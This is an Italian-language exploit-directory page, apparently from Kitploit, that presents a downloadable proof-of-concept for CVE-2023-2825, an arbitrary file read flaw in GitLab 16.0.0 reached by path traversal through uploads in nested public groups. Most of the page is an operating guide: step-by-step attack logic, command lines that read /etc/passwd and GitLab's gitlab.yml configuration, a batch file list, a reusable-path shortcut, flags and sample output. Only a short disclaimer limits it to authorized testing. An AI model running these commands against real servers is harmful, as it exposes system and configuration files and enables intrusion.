Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/groppoxx/cve-2023-2825-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC per CVE-2023-2825: lettura arbitraria di file automatizzata su GitLab 16.0.0 tramite gruppi pubblici nidificati, traversal degli upload di progetto, percorsi di upload riutilizzabili e output CLI pulito.

Vedi Repository
413 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-2825-PoC

Proof-of-concept per CVE-2023-2825, una vulnerabilità di lettura arbitraria dei file in GitLab CE/EE 16.0.0.

Lo script effettua l'accesso con un account GitLab valido, crea la struttura richiesta di gruppi pubblici nidificati, crea un progetto pubblico, carica un allegato e sfrutta il comportamento vulnerabile di path traversal dell'upload per leggere un file target dal server GitLab.

Supporta inoltre il riutilizzo di un percorso di upload esistente, quindi non devi creare nuovi gruppi e progetti per ogni lettura di file.

Cosa Fa

  1. Si autentica sull'istanza GitLab target.
  2. Crea gruppi pubblici nidificati utilizzando percorsi brevi per un annidamento profondo affidabile.
  3. Crea un progetto pubblico all'interno del gruppo più profondo.
  4. Carica un piccolo allegato sul progetto.
  5. Costruisce il percorso di traversal dalla directory di upload.
  6. Legge un singolo file o un elenco di file.
  7. Stampa un percorso di upload riutilizzabile per letture successive più rapide.

Requisiti

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Pacchetti Python richiesti:

root@kitploit:~
beautifulsoup4
requests
urllib3

Avvio Rapido

I valori racchiusi tra parentesi angolari sono segnaposto. Sostituiscili con i tuoi valori e non includere i caratteri < o >.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

Segnaposto

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

Esempio Completo

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

Output di esempio:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

Riutilizzare un Percorso di Upload

Dopo un'esecuzione riuscita, lo script stampa un percorso di upload riutilizzabile:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

Usalo con --reuse-path per saltare login, creazione dei gruppi, creazione del progetto e upload:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Puoi anche passare un URL completo e omettere --url:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Leggere Più File

Crea un elenco di file:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

Esegui:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

Flag Opzionali

root@kitploit:~
--groups <N>
   Number of nested public groups to create. Default: 11

--depth <N>
   Number of traversal segments to use. Default: 12

--reuse-path <PATH_OR_URL>
   Existing project upload directory. Skips setup and directly reads files.

--only-final
   Hide progress logs and print only file contents.

--no-color
   Disable ANSI colors.

--debug
   Print the generated traversal path for troubleshooting.

Note

  • L'exploit richiede GitLab CE/EE 16.0.0.
  • È necessario un account GitLab valido per creare i gruppi pubblici nidificati e il progetto.
  • Il percorso vulnerabile richiede un allegato in un progetto pubblico nidificato all'interno di più gruppi pubblici.
  • I nomi brevi dei gruppi vengono usati intenzionalmente per evitare problemi di creazione di percorsi profondi in GitLab.
  • Usa --reuse-path quando possibile per evitare di creare gruppi e progetti non necessari.

Note Legali

Questo PoC è destinato a test di sicurezza autorizzati, ambienti di laboratorio e verifica di vulnerabilità. Non utilizzarlo contro sistemi senza autorizzazione esplicita.

Scarica lo strumento